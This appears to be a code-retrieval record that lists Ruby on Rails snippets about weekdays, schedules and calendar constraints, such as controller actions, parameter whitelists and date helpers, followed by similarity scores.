screenshot_and_raise \"weekday is not applicable to this mode\" if picker_is_in_time_mode or picker_is_in_countdown_mode\n res = query(\"datePickerWeekMonthDayView\", :weekdayLabel, :text)[2]\n # need to guard against Today showing\n res == nil ? Date.today.strftime('%a') : res\nend", "def weekdays\n value.each_char.map { |c| WEEKDAYS.index(c) }\n end", "def interpolate_weekdays(year, month)\n @_interpolate_weekdays_cache ||= {}\n @_interpolate_weekdays_cache[\"#{year}-#{month}\"] ||= interpolate_weekdays_without_cache(year, month)\n end", "def test\n WorkCalendar.configure do |c|\n c.weekdays = %i(mon tue wed thu fri)\n c.holidays = [Date.new(2015, 1, 1), Date.new(2015, 7, 3), Date.new(2015, 12, 25)]\n end\n end", "def days_of_the_week_params\n params.require(:days_of_the_week).permit(:monday, :tuesday, :wednesday, :thursday, :friday, :saturday, :sunday, :chore_id)\n end", "def index\n @grouped_schedule_places = SchedulePlace.all\n .order(:weekday_id, :start_time).group_by{ |sp| sp.weekday.name }\n @weekdays = Weekday.all.map { |wd| [wd.name, wd.id] }\n end", "def time_constraint(constraint_type)\n TIME_CONSTRAINTS[course].try(:[], subject).try(:[], constraint_type)\n end", "def day_of_week(*weekdays)\n merge(day: weekdays)\n end", "def create\n @interval_constraint = IntervalConstraint.new(interval_constraint_params)\n\n respond_to do |format|\n if @interval_constraint.save\n format.html { redirect_to @interval_constraint, notice: 'Interval constraint was successfully created.' }\n format.json { render :show, status: :created, location: @interval_constraint }\n else\n format.html { render :new }\n format.json { render json: @interval_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def day_of_week_params\n params.require(:day_of_week).permit(:name)\n end", "def theory_day_params\n params.require(:theory_day).permit(:start_date, :start_time, :end_time, :repeat_weekly, :school_class_id)\n end", "def create\n @workhour = Workhour.new(workhour_params)\n @workhour.start = @workhour.start.change(day: 1, month: 1, year: 2000)\n @workhour.finish = @workhour.finish.change(day: 1, month: 1, year: 2000)\n\n respond_to do |format|\n if @workhour.save\n format.html { redirect_to @workhour, notice: 'Workhour was successfully created.' }\n format.json { render :show, status: :created, location: @workhour }\n else\n @works = Work.where(doctor_id: current_user.doctor.id)\n @weekdays = {:monday=>1, :tuesday=>2, :wednesday=>3, :thursday=>4, :friday=>5, :saturday=>6, :sunday=>0}\n format.html { render :new }\n format.json { render json: @workhour.errors, status: :unprocessable_entity }\n end\n end\n end", "def deadline\n weekly ? self.created_at.sunday.beginning_of_day : self.created_at.end_of_day\n end", "def reminder_rule_params\n params.require(:reminder_rule).permit(:day_of_week, :time_of_day, :emailable, :textable, :reminder_id)\n end", "def next_weekday(date, weekdays)\n [weekdays].flatten.map{|wd| \n nwd = date - date.cwday + Date::WEEKDAYS.index(wd) + 1\n nwd += 7 if nwd <= date\n nwd\n }.sort[0]\n end", "def expected_event_params\n \t\tparams.require(:expected_event).permit([:title, :weekday_0, :weekday_1, :weekday_2, \n :weekday_3, :weekday_4, :weekday_5, :weekday_6, \n :matching_direction, :started_at, :ended_at, :date_select,\n :final_hour])\n \tend", "def w_day; end", "def calendar\n get '/gtfs/calendar'\n end", "def rule_params\n params.require(:rule).permit(\n :title,\n :reason,\n :start_date,\n :stop_date,\n :allow,\n :start_time,\n :stop_time,\n :day_mask,\n :prio,\n :room_ids => [],\n :days_array => ['0', '1', '2', '3', '4', '5', '6']\n )\n end", "def interpolate_weekdays(year, month)\n @_interpolate_weekdays_cache ||= {}\n @_interpolate_weekdays_cache[\"#{year}-#{month}\"] ||= interpolate_weekdays_without_cache(year, month)\n end", "def index\n # @weekdays = Weekday.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Oj.dump(@weekdays, mode: :compat) }\n end\n end", "def list_tenant_constraints_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyInfraConstraintsApi.list_tenant_constraints ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyInfraConstraintsApi.list_tenant_constraints, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyInfraConstraintsApi.list_tenant_constraints, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/infra/constraints'\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'include_mark_for_delete_objects'] = opts[:'include_mark_for_delete_objects'] if !opts[:'include_mark_for_delete_objects'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ConstraintListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyInfraConstraintsApi#list_tenant_constraints\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n respond_to do |format|\n if @interval_constraint.update(interval_constraint_params)\n format.html { redirect_to @interval_constraint, notice: 'Interval constraint was successfully updated.' }\n format.json { render :show, status: :ok, location: @interval_constraint }\n else\n format.html { render :edit }\n format.json { render json: @interval_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @fridays = Friday.all\n end", "def check_calendar_event_data_validity(event_data)\n schema =\n {\n 'type' => 'object',\n 'required' => %w(Title Description StartDateTime EndDateTime StartDay\n EndDay GroupId RecurrenceInfo HasVisibilityRestrictions\n VisibilityRestrictions CalendarEventViewUrl),\n 'properties' =>\n {\n 'Title' => { 'type' => 'integer' },\n \"Description\" => { 'type' => 'integer' },\n \"StartDateTime\" => { 'type' => %w(string nil) }, # UTCDateTime || nil\n \"EndDateTime\" => { 'type' => %w(string nil) }, # UTCDateTime || nil\n \"StartDay\" => { 'type' => %w(string nil) }, # LocalDateTime || nil\n \"EndDay\" => { 'type' => %w(string nil) }, # LocalDateTime || nil\n \"GroupId\" => { 'type' => %w(integer nil) }, # D2LID || nil\n \"RecurrenceInfo\" =>\n {\n 'type' => 'object',\n 'required' => %w(RepeatType RepeatEvery RepeatOnInfo RepeatUntilDate),\n 'properties' =>\n {\n \"RepeatType\" => { 'type' => 'integer' }, # number -- repeat type\n \"RepeatEvery\" => { 'type' => 'integer' }, # number\n \"RepeatOnInfo\" => # Calendar.RepeatOnInfo\n {\n 'type' => 'object',\n 'required' => %w(Monday Tuesday Wednesday Thursday Friday\n Saturday Sunday),\n 'properties' =>\n {\n \"Monday\" => { 'type' => 'boolean' }, # boolean\n \"Tuesday\" => { 'type' => 'boolean' }, # boolean\n \"Wednesday\" => { 'type' => 'boolean' }, # boolean\n \"Thursday\" => { 'type' => 'boolean' }, # boolean\n \"Friday\" => { 'type' => 'boolean' }, # boolean\n \"Saturday\" => { 'type' => 'boolean' }, # boolean\n \"Sunday\" => { 'type' => 'boolean' }, # boolean\n }\n },\n \"RepeatUntilDate\" => { 'type' => 'string' } # UTCDATETIME\n }\n }, # Calendar.RecurrenceInfo\n \"HasVisibilityRestrictions\" => { 'type' => 'boolean' },\n \"VisibilityRestrictions\" =>\n {\n 'type' => 'object',\n 'required' => %w(Type Range HiddenRangeUnitType StartDate EndDate),\n 'properties' =>\n {\n \"Type\" => { 'type' => 'integer' }, # <number:VISIBILITY_T>,\n \"Range\" => { 'type' => %w(integer nil) }, # <number>|null,\n \"HiddenRangeUnitType\" => { 'type' => %w(integer nil) }, # <number:HIDDENUNIT_T>|null,\n \"StartDate\" => { 'type' => %w(string nil) }, # <string:UTCDateTime>|null,\n \"EndDate\" => { 'type' => %w(string nil) } # <string:UTCDateTime>|null,\n }\n }, # Calendar.VisibilityInfo\n \"CalendarEventViewUrl\" => { 'type' => 'string' } # url\n }\n }\n JSON::Validator.validate!(schema, event_data, validate_schema: true)\nend", "def index\n @hospitalization_days = HospitalizationDay.all\n end", "def agenda\n ret = {}\n ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday'].map do |day|\n ret[day] = courses.select do |course|\n course.days and course.days.include? day[0, 2]\n end\n ret[day].reverse!\n end\n return ret\n end", "def business_days\n @business_days ||= days.select(&:business_day?)\n end", "def index\n @day_availabilities = DayAvailability.all\n\n respond_to do |format|\n format.html {redirect_to @day_availabilities.week_availability}\n # format.json { render json: @day_availability }\n end\n end", "def sunday_params\n params.require(:sunday).permit(:issue_id, :date, :entry, :mantra, :moon_sign, :theme, :number_1, :number_2, :number_3)\n end", "def first_weekday_at_or_after_date(desired_weekday, date)\n offset = offset_of_first_weekday_at_or_after_weekday(desired_weekday, day_of_week(date))\n date + offset\nend", "def weekday_options_for_select(selected = T.unsafe(nil), index_as_value: T.unsafe(nil), day_format: T.unsafe(nil), beginning_of_week: T.unsafe(nil)); end", "def dow_params\n params.require(:dow).permit(:specialid, :day)\n end", "def weekday(weekday)\n case weekday\n when 'tod'\n @now\n when 'tom'\n @now + 1\n when 'y'\n @now - 1\n end\n end", "def show\n @day_week = DayWeek.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @day_week }\n end\n end", "def weekday?(day)\n\t\tday && (EXISTING_PATTERNS[:weekdays].split('|').include? day)\n\tend", "def date_in_week_param\n date_param(:scheduling_request, :date_in_week)\n end", "def person_schedule_params\n params.require(:person_schedule).permit(:person_id, :start_time, :end_time, :monday, :tuesday, :wednesday, :thursday, :friday, :saturday, :sunday, :holidays)\n end", "def list_tenant_constraints(opts = {})\n data, _status_code, _headers = list_tenant_constraints_with_http_info(opts)\n data\n end", "def simple_day_calendar_path\n request.fullpath.split('?').first\n end", "def recurrence\n unless read_attribute(:recurrence).empty?\n IceCube::Rule.from_hash(read_attribute(:recurrence))\n end\n end", "def find_days_start_time(weekday)\n if weekday == \"Thursday\"\n festival_start = DateTime.new(2016,10,6,17,00,00, '+0')\n elsif weekday == \"Friday\"\n festival_start = DateTime.new(2016,10,7,17,00,00, '+0')\n elsif weekday == \"Saturday\"\n festival_start = DateTime.new(2016,10,8,17,00,00, '+0')\n end\n return festival_start\n end", "def query_by_date\n # find the wdays of the trip\n dates = dates_to_wdays(\n Date.parse(params[:from]),\n Date.parse(params[:to])\n )\n\n # find schedules that fit the wdays of the trip\n schedules = Schedule.where.overlap(wdays: dates)\n\n respond_with TripsBySchedulePresenter.new(schedules).as_json\n end", "def index\n @day_of_weeks = DayOfWeek.all\n end", "def solver(from_date, to_date, weekday)\n result = 0\n days_to_sunday = 7 - weekday\n new_date = from_date.increment_by_days days_to_sunday\n if (new_date.day == 1)\n result = result + 1\n end\n while new_date <= to_date\n if (new_date.day == 1)\n result = result + 1\n end\n new_date = new_date.increment_by_days 7\n end\n return result\nend", "def schedule_params\n params.require(:schedule).permit(:weeks)\n end", "def weekend\n [saturday, sunday]\n end" ]
[ "0.75863177", "0.69366103", "0.68298185", "0.682787", "0.67159635", "0.5823258", "0.55903125", "0.5475184", "0.5405808", "0.53683877", "0.5355628", "0.53435016", "0.528457", "0.5261186", "0.5205836", "0.52036566", "0.52011573", "0.5085956", "0.5054797", "0.5045783", "0.49851942", "0.49752262", "0.49591288", "0.48801193", "0.4878193", "0.4874815", "0.4871907", "0.48709792", "0.48198467", "0.48024476", "0.47885805", "0.47826013", "0.47624597", "0.47540674", "0.47524524", "0.47451365", "0.4740695", "0.47394502", "0.4737564", "0.47339678", "0.47321704", "0.4731859", "0.47283703", "0.4713336", "0.4709334", "0.46825418", "0.46770084", "0.46734732", "0.46732903", "0.46649852", "0.46638304", "0.4662274", "0.46600145", "0.46579373", "0.46484083", "0.46341312", "0.4632227", "0.4628719", "0.4628531", "0.461569", "0.46156403", "0.46113855", "0.46111405", "0.4610738", "0.4606503", "0.45965493", "0.4594589", "0.4594587", "0.45922577", "0.45917603", "0.45881882", "0.45858347", "0.45737982", "0.45728272", "0.4569048", "0.456223", "0.45605248", "0.45556295", "0.45548734", "0.4552496", "0.45512092", "0.4546249", "0.45423174", "0.45417893", "0.45386082", "0.45381224", "0.45373544", "0.45373204", "0.45343354", "0.4534091", "0.45263034", "0.45204568", "0.4520354", "0.4520339", "0.45195466", "0.45144904", "0.45132768", "0.45118952", "0.450431", "0.44983643", "0.4493018" ]
0.0
-1
POST /weekday_constraints POST /weekday_constraints.json
def create @weekday_constraint = WeekdayConstraint.new(weekday_constraint_params) respond_to do |format| if @weekday_constraint.save format.html { redirect_to @weekday_constraint, notice: 'Weekday constraint was successfully created.' } format.json { render :show, status: :created, location: @weekday_constraint } else format.html { render :new } format.json { render json: @weekday_constraint.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def weekday_constraint_params\n params.require(:weekday_constraint).permit(:day, :name, :constraint_id, :constraint_type)\n end", "def index\n @weekday_constraints = WeekdayConstraint.all\n end", "def set_weekday_constraint\n @weekday_constraint = WeekdayConstraint.find(params[:id])\n end", "def update\n respond_to do |format|\n if @weekday_constraint.update(weekday_constraint_params)\n format.html { redirect_to @weekday_constraint, notice: 'Weekday constraint was successfully updated.' }\n format.json { render :show, status: :ok, location: @weekday_constraint }\n else\n format.html { render :edit }\n format.json { render json: @weekday_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @weekday_constraint.destroy\n respond_to do |format|\n format.html { redirect_to weekday_constraints_url, notice: 'Weekday constraint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @day ||= Weekday.day\n @days ||= Weekday.days\n @batch = Weekday.set_day(params[:weekday][:batch_id], params[:weekdays])\n flash[:notice] = t('weekday_create')\n end", "def create\n @weekday = Weekday.new(params[:weekday])\n\n respond_to do |format|\n if @weekday.save\n format.html { redirect_to @weekday, notice: 'Weekday was successfully created.' }\n format.json { render json: @weekday, status: :created, location: @weekday }\n else\n format.html { render action: \"new\" }\n format.json { render json: @weekday.errors, status: :unprocessable_entity }\n end\n end\n end", "def schedule_day_params\n params.require(:schedule_day).permit(:schedule_week_id, :available_24_hours, :range_begin, :range_end, :date)\n end", "def rule_params\n params.require(:rule).permit(\n :title,\n :reason,\n :start_date,\n :stop_date,\n :allow,\n :start_time,\n :stop_time,\n :day_mask,\n :prio,\n :room_ids => [],\n :days_array => ['0', '1', '2', '3', '4', '5', '6']\n )\n end", "def weekdays=(value)\n # check if the weekdays property contains 'daily' - this will override any\n # other days that have been set\n if value.include? :daily or value.include? 'daily'\n veeamconfig('schedule', 'set', '--jobId', get_job_id, '--daily', '--at', \"#{@resource[:time]}\")\n else\n wd = value.join(',')\n veeamconfig('schedule', 'set', '--jobId', get_job_id, '--weekdays', \"#{wd}\", '--at', \"#{@resource[:time]}\")\n end\n end", "def expected_event_params\n \t\tparams.require(:expected_event).permit([:title, :weekday_0, :weekday_1, :weekday_2, \n :weekday_3, :weekday_4, :weekday_5, :weekday_6, \n :matching_direction, :started_at, :ended_at, :date_select,\n :final_hour])\n \tend", "def create\n @hospitalization_day = @adverse_event.hospitalization_days.create(hospitalization_day_params)\n\n respond_to do |format|\n if @hospitalization_day.save\n format.html { redirect_to adverse_event_path(@adverse_event), notice: 'Día de estancia ingresado satisfactoriamente.' }\n format.json { render :show, status: :created, location: @hospitalization_day }\n else\n format.html { render :new }\n format.json { render json: @hospitalization_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def frequency_day_params\n params.require(:frequency_day).permit(:period_discipline_id, class_day: [:start, :end])\n end", "def day_of_week_params\n params.require(:day_of_week).permit(:name)\n end", "def holiday_params\n params.require(:holiday).permit(:day, :name)\n end", "def schedule_params\n params.require(:schedule).permit(:week, :dayOfWeek, :beginHour, :endHour, :status)\n end", "def check_time_constraints_payload(record, resp_data)\n # We never return time_constraints = null\n assert_equal record.time_constraints.count, resp_data[\"time_constraints\"].count\n for i in 0..record.time_constraints.count-1 do\n #puts record.time_constraints[i].to_json\n #puts resp_data[\"time_constraints\"][i]\n check_payload(resp_data[\"time_constraints\"][i],\n record.time_constraints[i],\n [:key_id, :start_time, :end_time, :start_offset, :end_offset], nil, nil)\n end\n end", "def new_schedule(*args)\n if !args.all? { |e| e.is_a?(Integer) && e >= 0 && e <= 6 }\n return \"Please enter a number from 0-6 where each number represents a day of the week. 0 represents Sunday, 1 represents Monday, etc.\"\n end\n schedule1 = Schedule.new(self.first_event, duration: self.duration_mins.minutes )\n schedule1.add_recurrence_rule Rule.weekly.day(args)\n self.schedule = schedule1\n self.save!\n end", "def theory_day_params\n params.require(:theory_day).permit(:start_date, :start_time, :end_time, :repeat_weekly, :school_class_id)\n end", "def days_of_the_week_params\n params.require(:days_of_the_week).permit(:monday, :tuesday, :wednesday, :thursday, :friday, :saturday, :sunday, :chore_id)\n end", "def holiday_cannot_be_on_weekends\n if (self.date.strftime(\"%u\") == \"6\" or self.date.strftime(\"%u\") == \"7\")\n errors.add(:date, \"Holiday should not be on weekends\")\n end\n end", "def create\n @day_of_week = DayOfWeek.new(day_of_week_params)\n\n respond_to do |format|\n if @day_of_week.save\n format.html { redirect_to @day_of_week, notice: 'Day of week was successfully created.' }\n format.json { render :show, status: :created, location: @day_of_week }\n else\n format.html { render :new }\n format.json { render json: @day_of_week.errors, status: :unprocessable_entity }\n end\n end\n end", "def person_schedule_params\n params.require(:person_schedule).permit(:person_id, :start_time, :end_time, :monday, :tuesday, :wednesday, :thursday, :friday, :saturday, :sunday, :holidays)\n end", "def schedule_place_params\n params.require(:schedule_place).permit(:weekday_id, :start_time, :end_time)\n .merge(\n \"start_time(1i)\"=>\"1\",\n \"start_time(2i)\"=>\"1\",\n \"start_time(3i)\"=>\"1\",\n \"end_time(1i)\"=>\"1\",\n \"end_time(2i)\"=>\"1\",\n \"end_time(3i)\"=>\"1\"\n )\n end", "def create\n @week_day = WeekDay.new(week_day_params)\n\n respond_to do |format|\n if @week_day.save\n format.html { redirect_to @week_day, notice: 'Week day was successfully created.' }\n format.json { render :show, status: :created, location: @week_day }\n else\n format.html { render :new }\n format.json { render json: @week_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def sunday_params\n params.require(:sunday).permit(:issue_id, :date, :entry, :mantra, :moon_sign, :theme, :number_1, :number_2, :number_3)\n end", "def reminder_rule_params\n params.require(:reminder_rule).permit(:day_of_week, :time_of_day, :emailable, :textable, :reminder_id)\n end", "def schedule_params\n params.require(:schedule).permit(:doctor_id, :dow, :weeks, :start_time, :end_time)\n end", "def days_of_week_are_valid\n errors.add(:days_of_week, \"The days of the week are invalid.\") unless days_of_week_are_valid?\n end", "def create\n @workhour = Workhour.new(workhour_params)\n @workhour.start = @workhour.start.change(day: 1, month: 1, year: 2000)\n @workhour.finish = @workhour.finish.change(day: 1, month: 1, year: 2000)\n\n respond_to do |format|\n if @workhour.save\n format.html { redirect_to @workhour, notice: 'Workhour was successfully created.' }\n format.json { render :show, status: :created, location: @workhour }\n else\n @works = Work.where(doctor_id: current_user.doctor.id)\n @weekdays = {:monday=>1, :tuesday=>2, :wednesday=>3, :thursday=>4, :friday=>5, :saturday=>6, :sunday=>0}\n format.html { render :new }\n format.json { render json: @workhour.errors, status: :unprocessable_entity }\n end\n end\n end", "def week_day_params\n params.require(:week_day).permit(:date, :meal_id, :eaten)\n end", "def dow_params\n params.require(:dow).permit(:specialid, :day)\n end", "def holiday_cannot_be_on_weekends\n if (self.date.cwday == 6 or self.date.cwday == 7)\n errors.add(:date, \"Holiday should not be on weekends\")\n end\n end", "def create\n @interval_constraint = IntervalConstraint.new(interval_constraint_params)\n\n respond_to do |format|\n if @interval_constraint.save\n format.html { redirect_to @interval_constraint, notice: 'Interval constraint was successfully created.' }\n format.json { render :show, status: :created, location: @interval_constraint }\n else\n format.html { render :new }\n format.json { render json: @interval_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n p course_params\n @course = Course.new(course_params)\n weekdays_list = course_params[:weekdays].drop(1)\n @course.weekdays = weekdays_list.join(', ')\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "def schedule_params\n params.require(:schedule).permit(:start_hour, :duration, :day_week)\n end", "def schedule_params\n params.require(:schedule).permit(:weeks)\n end", "def weekly_schedule_params\n params.require(:weekly_schedule).permit(:week_day, :open_time, :close_time, :location)\n end", "def create\n @day_week = DayWeek.new(params[:day_week])\n\n respond_to do |format|\n if @day_week.save\n format.html { redirect_to @day_week, :notice => 'Dia da semana criado com sucesso.' }\n format.json { render :json => @day_week, :status => :created, :location => @day_week }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @day_week.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @sunday = Sunday.new(sunday_params)\n\n respond_to do |format|\n if @sunday.save\n format.html { redirect_to @sunday, notice: 'Sunday was successfully created.' }\n format.json { render :show, status: :created, location: @sunday }\n else\n format.html { render :new }\n format.json { render json: @sunday.errors, status: :unprocessable_entity }\n end\n end\n end", "def weekday?(day)\n\t\tday && (EXISTING_PATTERNS[:weekdays].split('|').include? day)\n\tend", "def day_week_params\n params.require(:day_week).permit(:descripcion)\n end", "def create\n @user_day = UserDay.new(params[:user_day])\n\n today = Date.today\n #TODO this should be a selected year\n holiday_year = HolidayYear.where('date_start<=? and date_end>=?', today, today).first\n @user_day.holiday_year = holiday_year\n\n @allowance = @user_day.user.get_holiday_allowance\n @allowance.days_remaining += @user_day.no_days\n\n respond_to do |format|\n if @user_day.save and @allowance.save\n format.js\n else\n format.js\n end\n end\n end", "def day_params\n params.require(:day).permit(:date)\n end", "def course_params\n params.require(:course).permit(:name, :professor, :location, :monday, :tuesday, :wednesday, :thursday, :friday, :saturday, :sunday, :starting_time, :ending_time, :weekdays => [])\n end", "def new_day_params\n params.require(:new_day).permit!\n end", "def day_of_week(weekdays, *extras)\n merge(day: weekdays.array_concat(extras))\n end", "def day_range_params\n params.require(:day_range).permit(:code, :name, :day_from, :day_to, :note)\n end", "def daily_happiness_params\n params.require(:daily_happiness).permit(:time, :happiness_score)\n end", "def holiday_params\n params.require(:holiday).permit(:date, :remarks, :holiday, :activate)\n end", "def event_day_params\n params.require(:event_day).permit(:event, :date, :time_begin, :time_end)\n end", "def day_of_week(*weekdays)\n merge(day: weekdays)\n end", "def day_type_params\n params.require(:day_type).permit(:regular, :date_created, :user_id)\n end", "def validate_dow(spec)\n spec = spec.to_s\n spec == \"*\" ||\n validate_numeric(spec, 0, 7) ||\n %w{sun mon tue wed thu fri sat}.include?(spec.downcase) ||\n %w{sunday monday tuesday wednesday thursday friday saturday}.include?(spec.downcase)\n end", "def interval_constraint_params\n params.require(:interval_constraint).permit(:from, :to, :constraint_id, :constraint_type)\n end", "def create\n @work_day = WorkDay.new(work_day_params)\n\t\t#delete for today everything else \n\t\tWorkDay.select{|wd| wd.employee_id == @work_day.employee_id}.each do |wd|\n\t\t\twd.destroy\n\t\tend\n\t\t\n respond_to do |format|\n\t\t\t#validation line, make sure that this employee doesnt already have a schedule for today\n if !(WorkDay.all.select{|work_day| work_day.start_time.day == @work_day.start_time.day && work_day.employee_id == @work_day.employee_id}.any?)\n\t\t\t\t@work_day.save\n format.html { redirect_to @work_day, notice: 'Work day was successfully created.' }\n format.json { render :show, status: :created, location: @work_day }\n else\n format.html { render :new }\n format.json { render json: @work_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \t@conference = Conference.find(params[:conference_id])\n @day = @conference.days.new(params[:day])\n\n respond_to do |format|\n if @day.save\n format.html { redirect_to(conference_days_url, :notice => 'Day was successfully created.') }\n format.xml { render :xml => @day, :status => :created, :location => @day }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @day.errors, :status => :unprocessable_entity }\n end\n end\n end", "def active_weekdays\n WeekdayConfigVariable.new(name: 'ACTIVE_WEEKDAYS').weekdays\n end", "def schedule_params\n params.require(:schedule).permit(:user_id,\n :availability_attributes => [:id, :sunday_open, :sunday_close, :monday_open, :monday_close,\n :tuesday_open, :tuesday_close, :wednesday_open, :wednesday_close,\n :thursday_open, :thursday_close, :friday_open, :friday_close,\n :saturday_open, :saturday_close])\n end", "def check_rest_days\n\n\t\temp=Employee.find(employee_id)\n\t\tcalendar=Calendar.where(:department_id => emp.department_id,:anio => Date.parse(desde.to_s).year.to_i).first\n if !calendar.nil?\n\n \t\tdias_requested=weekdays_in_date_range(desde..hasta,calendar)\n \t\trt=RequestType.find(request_type_id)\n \t\tdias=0\n \t\t#get all requests from employee\n requests=Request.joins(:request_type).where(:employee_id => employee_id,status: [1,2],:request_type_id => request_type_id).where('extract(year from desde)= ?',\"#{desde.year.to_i}\")\n\n \t #working days requested.\n \t requests.each do |rq| \n \t dias+=weekdays_in_date_range(rq.desde..rq.hasta,calendar)\n \t end\n\n \t #get rest days\n \t num_dias_max=Request.rest_days(desde.year.to_i,employee_id,rt.num_dias_max)\n\n \t if dias_requested>(num_dias_max-dias)\n \t errors.add(:desde,\"Debe seleccionar un periodo igual o inferior a los días restantes. (#{(num_dias_max-dias)} dias)\")\n \t end\n end\n\tend", "def hospitalization_day_params\n params.require(:hospitalization_day).permit(:qty, :price, :subtotal, :date, :adverse_event_id, :service_id)\n end", "def dj_schedule_params\n params.require(:dj_schedule).permit(:start_date, :stop_date, dj_slots_attributes: [:start_time, :stop_time, :day_of_week])\n end", "def day_rule\n @day_rules[@this_day.key_by_date] || @day_rules[@this_day.key_by_day]\n end", "def create\n if params[:pay_day] && params[:start_day] && params[:end_day]\n ::TimeEntry.where(pay_day: params[:pay_day]).update_all(pay_day: nil)\n ::TimeEntry.where(\"day>=? AND day<=?\",params[:start_day],params[:end_day]).update_all(pay_day: params[:pay_day])\n end\n redirect_to \"/time/#{params[:start_day]}\"\n end", "def check_schedule(range_of_days)\n\tif 1 > range_of_days.to_i\n\t\traise \"The schedule of the diary must last for at least one day.\"\n\telsif 40 < range_of_days.to_i\n\t\traise \"Save paper! Don't generate schedule for >40 days.\"\n\tend\n\t\n\t# Set the duration of the food diary\n\t$duration = range_of_days.to_i\nend", "def create\n @user_day = UserDay.new(user_day_params)\n\n if params[:user_day][:holiday_year_id]\n @user_day.holiday_year = HolidayYear.find(params[:user_day][:holiday_year_id])\n else\n @user_day.holiday_year = HolidayYear.current_year\n end\n\n holiday_year_id = @user_day.holiday_year.id\n\n @user = @user_day.user\n @allowance = @user.get_holiday_allowance_for_selected_year(@user_day.holiday_year)\n @allowance.days_remaining += @user_day.no_days\n\n if @user_day.save and @allowance.save\n redirect_to user_days_url, flash: { success: I18n.t('user_day.update_success'), holiday_year_id: holiday_year_id }\n else\n redirect_to user_days_url, flash: { error: I18n.t('user_day.update_failure'), holiday_year_id: holiday_year_id }\n end\n end", "def create\n @week = WeekAvailability.find(params[:week_availability_id])\n @day_availability = @week.day_availabilities.new(params[:day_availability])\n\n respond_to do |format|\n if @day_availability.save\n format.html {redirect_to @week}\n else\n format.html { render action: \"new\" }\n end\n end\n end", "def calendar_day_params\n params.require(:calendar_day).permit(:date, :notes)\n end", "def holiday_params\n params.require(:holiday).permit(\n :base64,\n :location,\n :attractions,\n :when_to_go,\n :departureDate,\n :returnDate,\n :departureAirport,\n :arrivalAirport,\n :user_id,\n :group_id\n )\n end", "def min_attendance_days\n [1, time_constraint(:min_days)].compact.max\n end", "def conferences_schedule terms={}\n call_path = \"conferences/schedule\"\n data = build_post_data(terms.to_json)\n perform_post(build_url(call_path), data)\n end", "def get_days\n return 0b0 if @params[:type] != 'advanced'\n\n return get_weekday_bitmask(['weekday_sun', 'weekday_mon', 'weekday_tue', 'weekday_wed', 'weekday_thu', 'weekday_fri', 'weekday_sat']) if @params[:schedule] == 'weekly'\n\n return get_month_bitmask(@params[:dates_picked]) if @params[:schedule] == 'monthly' && @params[:days] == 'specific'\n\n return get_unspecific_days\n\n end", "def create\n days = [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\", \"Sunday\"]\n\n @user = current_user\n @user_location = @user.user_locations.find(params[:user_location_id])\n\n UserSchedule.transaction do\n \n days.each do |day|\n if params[day]\n @user_schedule = @user_location.user_schedules.build\n\n @user_schedule.to_standard = params[:to_standard] \n @user_schedule.from_standard = params[:from_standard] \n @user_schedule.day = day\n @user_schedule.save\n\n end\n end\n end\n\n respond_to :js\n\n end", "def update\n @weekday = Weekday.find(params[:id])\n\n respond_to do |format|\n if @weekday.update_attributes(params[:weekday])\n format.html { redirect_to @weekday, notice: 'Weekday was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @weekday.errors, status: :unprocessable_entity }\n end\n end\n end", "def day_params\n params.require(:day).permit(:date, :title, :status, :note)\n end", "def save_days_off\n if params[:company]\n days_off = DayOff.where(\"company = ?\", true)\n redirect = holidays_path(:company => true)\n day_hours = DayHour.first\n day_hours.hours = params[:day_hours]\n day_hours.save!\n else\n days_off = DayOff.where(\"project_id = ?\", session[:actual_project])\n 